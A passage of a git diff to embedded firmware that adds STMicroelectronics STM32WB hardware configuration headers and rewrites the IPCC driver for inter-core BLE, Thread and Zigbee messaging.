buffer, the flow should be: ++* + CPU1 takes CFG_HW_THREAD_NVM_SRAM_SEMID semaphore ++* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) ++* + CPU1 releases CFG_HW_THREAD_NVM_SRAM_SEMID semaphore ++* CFG_HW_THREAD_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. ++* There is no timing constraint on how long this semaphore can be kept. ++*/ ++#define CFG_HW_THREAD_NVM_SRAM_SEMID 9 ++ ++/** ++* The CPU2 may be configured to store the BLE persistent data either in internal NVM storage on CPU2 or in ++* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() ++* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. ++* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: ++* + CPU1 takes CFG_HW_BLE_NVM_SRAM_SEMID semaphore ++* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) ++* + CPU1 releases CFG_HW_BLE_NVM_SRAM_SEMID semaphore ++* CFG_HW_BLE_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. ++* There is no timing constraint on how long this semaphore can be kept. ++*/ ++#define CFG_HW_BLE_NVM_SRAM_SEMID 8 ++ ++/** ++* Index of the semaphore used by CPU2 to prevent the CPU1 to either write or erase data in flash ++* The CPU1 shall not either write or erase in flash when this semaphore is taken by the CPU2 ++* When the CPU1 needs to either write or erase in flash, it shall first get the semaphore and release it just ++* after writing a raw (64bits data) or erasing one sector. ++* Once the Semaphore has been released, there shall be at least 1us before it can be taken again. This is required ++* to give the opportunity to CPU2 to take it. ++* On v1.4.0 and older CPU2 wireless firmware, this semaphore is unused and CPU2 is using PES bit. ++* By default, CPU2 is using the PES bit to protect its timing. The CPU1 may request the CPU2 to use the semaphore ++* instead of the PES bit by sending the system command SHCI_C2_SetFlashActivityControl() ++*/ ++#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU2_SEMID 7 ++ ++/** ++* Index of the semaphore used by CPU1 to prevent the CPU2 to either write or erase data in flash ++* In order to protect its timing, the CPU1 may get this semaphore to prevent the CPU2 to either ++* write or erase in flash (as this will stall both CPUs) ++* The PES bit shall not be used as this may stall the CPU2 in some cases. ++*/ ++#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU1_SEMID 6 ++ ++/** ++* Index of the semaphore used to manage the CLK48 clock configuration ++* When the USB is required, this semaphore shall be taken before configuring te CLK48 for USB ++* and should be released after the application switch OFF the clock when the USB is not used anymore ++* When using the RNG, it is good enough to use CFG_HW_RNG_SEMID to control CLK48. ++* More details in AN5289 ++*/ ++#define CFG_HW_CLK48_CONFIG_SEMID 5 ++ ++/* Index of the semaphore used to manage the entry Stop Mode procedure */ ++#define CFG_HW_ENTRY_STOP_MODE_SEMID 4 ++ ++/* Index of the semaphore used to access the RCC */ ++#define CFG_HW_RCC_SEMID 3 ++ ++/* Index of the semaphore used to access the FLASH */ ++#define CFG_HW_FLASH_SEMID 2 ++ ++/* Index of the semaphore used to access the PKA */ ++#define CFG_HW_PKA_SEMID 1 ++ ++/* Index of the semaphore used to access the RNG */ ++#define CFG_HW_RNG_SEMID 0 ++ ++/****************************************************************************** ++ * HW TIMER SERVER ++ *****************************************************************************/ ++/** ++ * The user may define the maximum number of virtual timers supported. ++ * It shall not exceed 255 ++ */ ++#define CFG_HW_TS_MAX_NBR_CONCURRENT_TIMER 6 ++ ++/** ++ * The user may define the priority in the NVIC of the RTC_WKUP interrupt handler that is used to manage the ++ * wakeup timer. ++ * This setting is the preemptpriority part of the NVIC. ++ */ ++#define CFG_HW_TS_NVIC_RTC_WAKEUP_IT_PREEMPTPRIO \ ++ (configLIBRARY_MAX_SYSCALL_INTERRUPT_PRIORITY + 1) /* FreeRTOS requirement */ ++ ++/** ++ * The user may define the priority in the NVIC of the RTC_WKUP interrupt handler that is used to manage the ++ * wakeup timer. ++ * This setting is the subpriority part of the NVIC. It does not exist on all processors. When it is not supported ++ * on the CPU, the setting is ignored ++ */ ++#define CFG_HW_TS_NVIC_RTC_WAKEUP_IT_SUBPRIO 0 ++ ++/** ++ * Define a critical section in the Timer server ++ * The Timer server does not support the API to be nested ++ * The Application shall either: ++ * a) Ensure this will never happen ++ * b) Define the critical section ++ * The default implementations is masking all interrupts using the PRIMASK bit ++ * The TimerServer driver uses critical sections to avoid context corruption. This is achieved with the macro ++ * TIMER_ENTER_CRITICAL_SECTION and TIMER_EXIT_CRITICAL_SECTION. When CFG_HW_TS_USE_PRIMASK_AS_CRITICAL_SECTION is set ++ * to 1, all STM32 interrupts are masked with the PRIMASK bit of the CortexM CPU. It is possible to use the BASEPRI ++ * register of the CortexM CPU to keep allowed some interrupts with high priority. In that case, the user shall ++ * re-implement TIMER_ENTER_CRITICAL_SECTION and TIMER_EXIT_CRITICAL_SECTION and shall make sure that no TimerServer ++ * API are called when the TIMER critical section is entered ++ */ ++#define CFG_HW_TS_USE_PRIMASK_AS_CRITICAL_SECTION 1 ++ ++/** ++ * This value shall reflect the maximum delay there could be in the application between the time the RTC interrupt ++ * is generated by the Hardware and the time when the RTC interrupt handler is called. This time is measured in ++ * number of RTCCLK ticks. ++ * A relaxed timing would be 10ms ++ * When the value is too short, the timerserver will not be able to count properly and all timeout may be random. ++ * When the value is too long, the device may wake up more often than the most optimal configuration. However, the ++ * impact on power consumption would be marginal (unless the value selected is extremely too long). It is strongly ++ * recommended to select a value large enough to make sure it is not too short to ensure reliability of the system ++ * as this will have marginal impact on low power mode ++ */ ++#define CFG_HW_TS_RTC_HANDLER_MAX_DELAY (10 * (LSI_VALUE / 1000)) ++ ++/** ++ * Interrupt ID in the NVIC of the RTC Wakeup interrupt handler ++ * It shall be type of IRQn_Type ++ */ ++#define CFG_HW_TS_RTC_WAKEUP_HANDLER_ID RTC_WKUP_IRQn ++ ++/****************************************************************************** ++ * HW UART ++ *****************************************************************************/ ++#define CFG_HW_LPUART1_ENABLED 0 ++#define CFG_HW_LPUART1_DMA_TX_SUPPORTED 0 ++ ++#define CFG_HW_USART1_ENABLED 1 ++#define CFG_HW_USART1_DMA_TX_SUPPORTED 1 ++ ++/** ++ * UART1 ++ */ ++#define CFG_HW_USART1_PREEMPTPRIORITY 0x0F ++#define CFG_HW_USART1_SUBPRIORITY 0 ++ ++/** < The application shall check the selected source clock is enable */ ++#define CFG_HW_USART1_SOURCE_CLOCK RCC_USART1CLKSOURCE_SYSCLK ++ ++#define CFG_HW_USART1_BAUDRATE 115200 ++#define CFG_HW_USART1_WORDLENGTH UART_WORDLENGTH_8B ++#define CFG_HW_USART1_STOPBITS UART_STOPBITS_1 ++#define CFG_HW_USART1_PARITY UART_PARITY_NONE ++#define CFG_HW_USART1_HWFLOWCTL UART_HWCONTROL_NONE ++#define CFG_HW_USART1_MODE UART_MODE_TX_RX ++#define CFG_HW_USART1_ADVFEATUREINIT UART_ADVFEATURE_NO_INIT ++#define CFG_HW_USART1_OVERSAMPLING UART_OVERSAMPLING_8 ++ ++#define CFG_HW_USART1_TX_PORT_CLK_ENABLE __HAL_RCC_GPIOB_CLK_ENABLE ++#define CFG_HW_USART1_TX_PORT GPIOB ++#define CFG_HW_USART1_TX_PIN GPIO_PIN_6 ++#define CFG_HW_USART1_TX_MODE GPIO_MODE_AF_PP ++#define CFG_HW_USART1_TX_PULL GPIO_NOPULL ++#define CFG_HW_USART1_TX_SPEED GPIO_SPEED_FREQ_VERY_HIGH ++#define CFG_HW_USART1_TX_ALTERNATE GPIO_AF7_USART1 ++ ++#define CFG_HW_USART1_RX_PORT_CLK_ENABLE __HAL_RCC_GPIOB_CLK_ENABLE ++#define CFG_HW_USART1_RX_PORT GPIOB ++#define CFG_HW_USART1_RX_PIN GPIO_PIN_7 ++#define CFG_HW_USART1_RX_MODE GPIO_MODE_AF_PP ++#define CFG_HW_USART1_RX_PULL GPIO_NOPULL ++#define CFG_HW_USART1_RX_SPEED GPIO_SPEED_FREQ_VERY_HIGH ++#define CFG_HW_USART1_RX_ALTERNATE GPIO_AF7_USART1 ++ ++#define CFG_HW_USART1_CTS_PORT_CLK_ENABLE __HAL_RCC_GPIOA_CLK_ENABLE ++#define CFG_HW_USART1_CTS_PORT GPIOA ++#define CFG_HW_USART1_CTS_PIN GPIO_PIN_11 ++#define CFG_HW_USART1_CTS_MODE GPIO_MODE_AF_PP ++#define CFG_HW_USART1_CTS_PULL GPIO_PULLDOWN ++#define CFG_HW_USART1_CTS_SPEED GPIO_SPEED_FREQ_VERY_HIGH ++#define CFG_HW_USART1_CTS_ALTERNATE GPIO_AF7_USART1 ++ ++#define CFG_HW_USART1_DMA_TX_PREEMPTPRIORITY 0x0F ++#define CFG_HW_USART1_DMA_TX_SUBPRIORITY 0 ++ ++#define CFG_HW_USART1_DMAMUX_CLK_ENABLE __HAL_RCC_DMAMUX1_CLK_ENABLE ++#define CFG_HW_USART1_DMA_CLK_ENABLE __HAL_RCC_DMA2_CLK_ENABLE ++#define CFG_HW_USART1_TX_DMA_REQ DMA_REQUEST_USART1_TX ++#define CFG_HW_USART1_TX_DMA_CHANNEL DMA2_Channel4 ++#define CFG_HW_USART1_TX_DMA_IRQn DMA2_Channel4_IRQn ++#define CFG_HW_USART1_DMA_TX_IRQHandler DMA2_Channel4_IRQHandler ++ ++#endif /*HW_CONF_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/hw_if.h b/firmware/targets/f7/ble_glue/hw_if.h +new file mode 100644 +index 000000000..a0ac23df3 +--- /dev/null ++++ b/firmware/targets/f7/ble_glue/hw_if.h +@@ -0,0 +1,102 @@ ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * @file hw_if.h ++ * @author MCD Application Team ++ * @brief Hardware Interface ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2019 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef HW_IF_H ++#define HW_IF_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* Includes ------------------------------------------------------------------*/ ++#include "stm32wbxx.h" ++#include "stm32wbxx_ll_exti.h" ++#include "stm32wbxx_ll_system.h" ++#include "stm32wbxx_ll_rcc.h" ++#include "stm32wbxx_ll_ipcc.h" ++#include "stm32wbxx_ll_bus.h" ++#include "stm32wbxx_ll_pwr.h" ++#include "stm32wbxx_ll_cortex.h" ++#include "stm32wbxx_ll_utils.h" ++#include "stm32wbxx_ll_hsem.h" ++#include "stm32wbxx_ll_gpio.h" ++#include "stm32wbxx_ll_rtc.h" ++ ++#ifdef USE_STM32WBXX_USB_DONGLE ++#include "stm32wbxx_usb_dongle.h" ++#endif ++#ifdef USE_STM32WBXX_NUCLEO ++#include "stm32wbxx_nucleo.h" ++#endif ++#ifdef USE_X_NUCLEO_EPD ++#include "x_nucleo_epd.h" ++#endif ++ ++/* Private includes ----------------------------------------------------------*/ ++/* USER CODE BEGIN Includes */ ++ ++/* USER CODE END Includes */ ++ ++/****************************************************************************** ++ * HW UART ++ ******************************************************************************/ ++typedef enum { ++ hw_uart1, ++ hw_uart2, ++ hw_lpuart1, ++} hw_uart_id_t; ++ ++typedef enum { ++ hw_uart_ok, ++ hw_uart_error, ++ hw_uart_busy, ++ hw_uart_to, ++} hw_status_t; ++ ++void HW_UART_Init(hw_uart_id_t hw_uart_id); ++void HW_UART_Receive_IT( ++ hw_uart_id_t hw_uart_id, ++ uint8_t* pData, ++ uint16_t Size, ++ void (*Callback)(void)); ++void HW_UART_Transmit_IT( ++ hw_uart_id_t hw_uart_id, ++ uint8_t* pData, ++ uint16_t Size, ++ void (*Callback)(void)); ++hw_status_t ++ HW_UART_Transmit(hw_uart_id_t hw_uart_id, uint8_t* p_data, uint16_t size, uint32_t timeout); ++hw_status_t HW_UART_Transmit_DMA( ++ hw_uart_id_t hw_uart_id, ++ uint8_t* p_data, ++ uint16_t size, ++ void (*Callback)(void)); ++void HW_UART_Interrupt_Handler(hw_uart_id_t hw_uart_id); ++void HW_UART_DMA_Interrupt_Handler(hw_uart_id_t hw_uart_id); ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /*HW_IF_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/hw_ipcc.c b/firmware/targets/f7/ble_glue/hw_ipcc.c +index c2397f351..7c84df09f 100644 +--- a/firmware/targets/f7/ble_glue/hw_ipcc.c ++++ b/firmware/targets/f7/ble_glue/hw_ipcc.c +@@ -1,52 +1,160 @@ ++/** ++ ****************************************************************************** ++ * File Name : Target/hw_ipcc.c ++ * Description : Hardware IPCC source file for STM32WPAN Middleware. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++ ++/* Includes ------------------------------------------------------------------*/ + #include "app_common.h" + #include +-#include +-#include +- +-#include +-#include +- +-#include +- +-#define HW_IPCC_TX_PENDING(channel) \ +- ((!(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, channel))) && \ +- LL_C1_IPCC_IsEnabledTransmitChannel(IPCC, channel)) +-#define HW_IPCC_RX_PENDING(channel) \ +- (LL_C2_IPCC_IsActiveFlag_CHx(IPCC, channel) && \ +- LL_C1_IPCC_IsEnabledReceiveChannel(IPCC, channel)) + +-static void (*FreeBufCb)(); +- +-static void HW_IPCC_BLE_EvtHandler(); +-static void HW_IPCC_BLE_AclDataEvtHandler(); +-static void HW_IPCC_MM_FreeBufHandler(); +-static void HW_IPCC_SYS_CmdEvtHandler(); +-static void HW_IPCC_SYS_EvtHandler(); +-static void HW_IPCC_TRACES_EvtHandler(); +- +-void HW_IPCC_Rx_Handler() { ++/* Global variables ---------------------------------------------------------*/ ++/* Private defines -----------------------------------------------------------*/ ++#define HW_IPCC_TX_PENDING(channel) \ ++ (!(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, channel))) && (((~(IPCC->C1MR)) & ((channel) << 16U))) ++#define HW_IPCC_RX_PENDING(channel) \ ++ (LL_C2_IPCC_IsActiveFlag_CHx(IPCC, channel)) && (((~(IPCC->C1MR)) & ((channel) << 0U))) ++ ++/* Private macros ------------------------------------------------------------*/ ++/* Private typedef -----------------------------------------------------------*/ ++/* Private variables ---------------------------------------------------------*/ ++static void (*FreeBufCb)(void); ++ ++/* Private function prototypes -----------------------------------------------*/ ++static void HW_IPCC_BLE_EvtHandler(void); ++static void HW_IPCC_BLE_AclDataEvtHandler(void); ++static void HW_IPCC_MM_FreeBufHandler(void); ++static void HW_IPCC_SYS_CmdEvtHandler(void); ++static void HW_IPCC_SYS_EvtHandler(void); ++static void HW_IPCC_TRACES_EvtHandler(void); ++ ++#ifdef THREAD_WB ++static void HW_IPCC_OT_CmdEvtHandler(void); ++static void HW_IPCC_THREAD_NotEvtHandler(void); ++static void HW_IPCC_THREAD_CliNotEvtHandler(void); ++#endif ++ ++#ifdef LLD_TESTS_WB ++static void HW_IPCC_LLDTESTS_ReceiveCliRspHandler(void); ++static void HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(void); ++#endif ++#ifdef LLD_BLE_WB ++/*static void HW_IPCC_LLD_BLE_ReceiveCliRspHandler( void );*/ ++static void HW_IPCC_LLD_BLE_ReceiveRspHandler(void); ++static void HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(void); ++#endif ++ ++#ifdef MAC_802_15_4_WB ++static void HW_IPCC_MAC_802_15_4_CmdEvtHandler(void); ++static void HW_IPCC_MAC_802_15_4_NotEvtHandler(void); ++#endif ++ ++#ifdef ZIGBEE_WB ++static void HW_IPCC_ZIGBEE_CmdEvtHandler(void); ++static void HW_IPCC_ZIGBEE_StackNotifEvtHandler(void); ++static void HW_IPCC_ZIGBEE_StackM0RequestHandler(void); ++#endif ++ ++/* Public function definition -----------------------------------------------*/ ++ ++/****************************************************************************** ++ * INTERRUPT HANDLER ++ ******************************************************************************/ ++void HW_IPCC_Rx_Handler(void) { + if(HW_IPCC_RX_PENDING(HW_IPCC_SYSTEM_EVENT_CHANNEL)) { + HW_IPCC_SYS_EvtHandler(); +- } else if(HW_IPCC_RX_PENDING(HW_IPCC_BLE_EVENT_CHANNEL)) { ++ } ++#ifdef MAC_802_15_4_WB ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL)) { ++ HW_IPCC_MAC_802_15_4_NotEvtHandler(); ++ } ++#endif /* MAC_802_15_4_WB */ ++#ifdef THREAD_WB ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL)) { ++ HW_IPCC_THREAD_NotEvtHandler(); ++ } else if(HW_IPCC_RX_PENDING(HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL)) { ++ HW_IPCC_THREAD_CliNotEvtHandler(); ++ } ++#endif /* THREAD_WB */ ++#ifdef LLD_TESTS_WB ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL)) { ++ HW_IPCC_LLDTESTS_ReceiveCliRspHandler(); ++ } else if(HW_IPCC_RX_PENDING(HW_IPCC_LLDTESTS_M0_CMD_CHANNEL)) { ++ HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(); ++ } ++#endif /* LLD_TESTS_WB */ ++#ifdef LLD_BLE_WB ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_LLD_BLE_RSP_CHANNEL)) { ++ HW_IPCC_LLD_BLE_ReceiveRspHandler(); ++ } else if(HW_IPCC_RX_PENDING(HW_IPCC_LLD_BLE_M0_CMD_CHANNEL)) { ++ HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(); ++ } ++#endif /* LLD_TESTS_WB */ ++#ifdef ZIGBEE_WB ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL)) { ++ HW_IPCC_ZIGBEE_StackNotifEvtHandler(); ++ } else if(HW_IPCC_RX_PENDING(HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL)) { ++ HW_IPCC_ZIGBEE_StackM0RequestHandler(); ++ } ++#endif /* ZIGBEE_WB */ ++ else if(HW_IPCC_RX_PENDING(HW_IPCC_BLE_EVENT_CHANNEL)) { + HW_IPCC_BLE_EvtHandler(); + } else if(HW_IPCC_RX_PENDING(HW_IPCC_TRACES_CHANNEL)) { + HW_IPCC_TRACES_EvtHandler(); + } ++ ++ return; + } + +-void HW_IPCC_Tx_Handler() { ++void HW_IPCC_Tx_Handler(void) { + if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { + HW_IPCC_SYS_CmdEvtHandler(); +- } else if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { ++ } ++#ifdef MAC_802_15_4_WB ++ else if(HW_IPCC_TX_PENDING(HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL)) { ++ HW_IPCC_MAC_802_15_4_CmdEvtHandler(); ++ } ++#endif /* MAC_802_15_4_WB */ ++#ifdef THREAD_WB ++ else if(HW_IPCC_TX_PENDING(HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL)) { ++ HW_IPCC_OT_CmdEvtHandler(); ++ } ++#endif /* THREAD_WB */ ++#ifdef LLD_TESTS_WB ++// No TX handler for LLD tests ++#endif /* LLD_TESTS_WB */ ++#ifdef ZIGBEE_WB ++ if(HW_IPCC_TX_PENDING(HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL)) { ++ HW_IPCC_ZIGBEE_CmdEvtHandler(); ++ } ++#endif /* ZIGBEE_WB */ ++ else if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { + HW_IPCC_SYS_CmdEvtHandler(); + } else if(HW_IPCC_TX_PENDING(HW_IPCC_MM_RELEASE_BUFFER_CHANNEL)) { + HW_IPCC_MM_FreeBufHandler(); + } else if(HW_IPCC_TX_PENDING(HW_IPCC_HCI_ACL_DATA_CHANNEL)) { + HW_IPCC_BLE_AclDataEvtHandler(); + } +-} + +-void HW_IPCC_Enable() { ++ return; ++} ++/****************************************************************************** ++ * GENERAL ++ ******************************************************************************/ ++void HW_IPCC_Enable(void) { + /** + * Such as IPCC IP available to the CPU2, it is required to keep the IPCC clock running + when FUS is running on CPU2 and CPU1 enters deep sleep mode +@@ -69,9 +177,11 @@ void HW_IPCC_Enable() { + __SEV(); /* Set the internal event flag and send an event to the CPU2 */ + __WFE(); /* Clear the internal event flag */ + LL_PWR_EnableBootC2(); ++ ++ return; + } + +-void HW_IPCC_Init() { ++void HW_IPCC_Init(void) { + LL_C1_IPCC_EnableIT_RXO(IPCC); + LL_C1_IPCC_EnableIT_TXF(IPCC); + +@@ -79,62 +189,366 @@ void HW_IPCC_Init() { + NVIC_EnableIRQ(IPCC_C1_RX_IRQn); + NVIC_SetPriority(IPCC_C1_TX_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 6, 0)); + NVIC_EnableIRQ(IPCC_C1_TX_IRQn); ++ ++ return; + } + +-void HW_IPCC_BLE_Init() { ++/****************************************************************************** ++ * BLE ++ ******************************************************************************/ ++void HW_IPCC_BLE_Init(void) { + LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_BLE_EVENT_CHANNEL); ++ ++ return; + } + +-void HW_IPCC_BLE_SendCmd() { ++void HW_IPCC_BLE_SendCmd(void) { + LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_BLE_CMD_CHANNEL); ++ ++ return; + } + +-static void HW_IPCC_BLE_EvtHandler() { ++static void HW_IPCC_BLE_EvtHandler(void) { + HW_IPCC_BLE_RxEvtNot(); + + LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_BLE_EVENT_CHANNEL); ++ ++ return; + } + +-void HW_IPCC_BLE_SendAclData() { ++void HW_IPCC_BLE_SendAclData(void) { + LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); + LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); ++ ++ return; + } + +-static void HW_IPCC_BLE_AclDataEvtHandler() { ++static void HW_IPCC_BLE_AclDataEvtHandler(void) { + LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); + + HW_IPCC_BLE_AclDataAckNot(); ++ ++ return; + } + +-void HW_IPCC_SYS_Init() { ++__weak void HW_IPCC_BLE_AclDataAckNot(void){}; ++__weak void HW_IPCC_BLE_RxEvtNot(void){}; ++ ++/****************************************************************************** ++ * SYSTEM ++ ******************************************************************************/ ++void HW_IPCC_SYS_Init(void) { + LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_SYSTEM_EVENT_CHANNEL); ++ ++ return; + } + +-void HW_IPCC_SYS_SendCmd() { ++void HW_IPCC_SYS_SendCmd(void) { + LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); ++ LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); + +- FuriHalCortexTimer timer = furi_hal_cortex_timer_get(33000000); +- +- while(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { +- furi_check(!furi_hal_cortex_timer_is_expired(timer), "HW_IPCC_SYS_SendCmd timeout"); +- } +- +- HW_IPCC_SYS_CmdEvtHandler(); ++ return; + } + +-static void HW_IPCC_SYS_CmdEvtHandler() { ++static void HW_IPCC_SYS_CmdEvtHandler(void) { + LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); + + HW_IPCC_SYS_CmdEvtNot(); ++ ++ return; + } + +-static void HW_IPCC_SYS_EvtHandler() { ++static void HW_IPCC_SYS_EvtHandler(void) { + HW_IPCC_SYS_EvtNot(); + + LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_SYSTEM_EVENT_CHANNEL); ++ ++ return; ++} ++ ++__weak void HW_IPCC_SYS_CmdEvtNot(void){}; ++__weak void HW_IPCC_SYS_EvtNot(void){}; ++ ++/****************************************************************************** ++ * MAC 802.15.4 ++ ******************************************************************************/ ++#ifdef MAC_802_15_4_WB ++void HW_IPCC_MAC_802_15_4_Init(void) { ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_MAC_802_15_4_SendCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); ++ LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_MAC_802_15_4_SendAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); ++ ++ return; ++} ++ ++static void HW_IPCC_MAC_802_15_4_CmdEvtHandler(void) { ++ LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); ++ ++ HW_IPCC_MAC_802_15_4_CmdEvtNot(); ++ ++ return; ++} ++ ++static void HW_IPCC_MAC_802_15_4_NotEvtHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); ++ ++ HW_IPCC_MAC_802_15_4_EvtNot(); ++ ++ return; ++} ++__weak void HW_IPCC_MAC_802_15_4_CmdEvtNot(void){}; ++__weak void HW_IPCC_MAC_802_15_4_EvtNot(void){}; ++#endif ++ ++/****************************************************************************** ++ * THREAD ++ ******************************************************************************/ ++#ifdef THREAD_WB ++void HW_IPCC_THREAD_Init(void) { ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_OT_SendCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); ++ LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_CLI_SendCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_THREAD_CLI_CMD_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_THREAD_SendAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_THREAD_CliSendAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); ++ ++ return; ++} ++ ++static void HW_IPCC_OT_CmdEvtHandler(void) { ++ LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); ++ ++ HW_IPCC_OT_CmdEvtNot(); ++ ++ return; + } + +-void HW_IPCC_MM_SendFreeBuf(void (*cb)()) { ++static void HW_IPCC_THREAD_NotEvtHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); ++ ++ HW_IPCC_THREAD_EvtNot(); ++ ++ return; ++} ++ ++static void HW_IPCC_THREAD_CliNotEvtHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); ++ ++ HW_IPCC_THREAD_CliEvtNot(); ++ ++ return; ++} ++ ++__weak void HW_IPCC_OT_CmdEvtNot(void){}; ++__weak void HW_IPCC_CLI_CmdEvtNot(void){}; ++__weak void HW_IPCC_THREAD_EvtNot(void){}; ++ ++#endif /* THREAD_WB */ ++ ++/****************************************************************************** ++ * LLD TESTS ++ ******************************************************************************/ ++#ifdef LLD_TESTS_WB ++void HW_IPCC_LLDTESTS_Init(void) { ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); ++ 